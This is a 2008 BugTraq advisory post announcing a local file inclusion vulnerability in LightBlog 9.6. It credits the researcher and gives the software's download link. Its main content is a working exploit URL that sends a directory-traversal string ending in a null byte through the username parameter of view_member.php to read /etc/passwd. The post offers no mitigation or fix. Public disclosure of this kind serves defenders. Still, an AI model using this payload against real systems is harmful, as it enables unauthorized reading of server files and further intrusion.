BugTraq
lightblog 9.6 local file inclusion vulnerability Feb 17 2008 12:01AM
muuratsalo experimental hack lab (muuratsalo gmail com)
lightblog 9.6 local file inclusion vulnerability

download http://www.publicwarehouse.co.uk/php_scripts/lightblog.php

author muuratsalo
contact muuratsalo[at]gmail.com

exploit
http://localhost/LightBlog9.6/view_member.php?username=../../../../../..
/../../../../etc/passwd%00

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus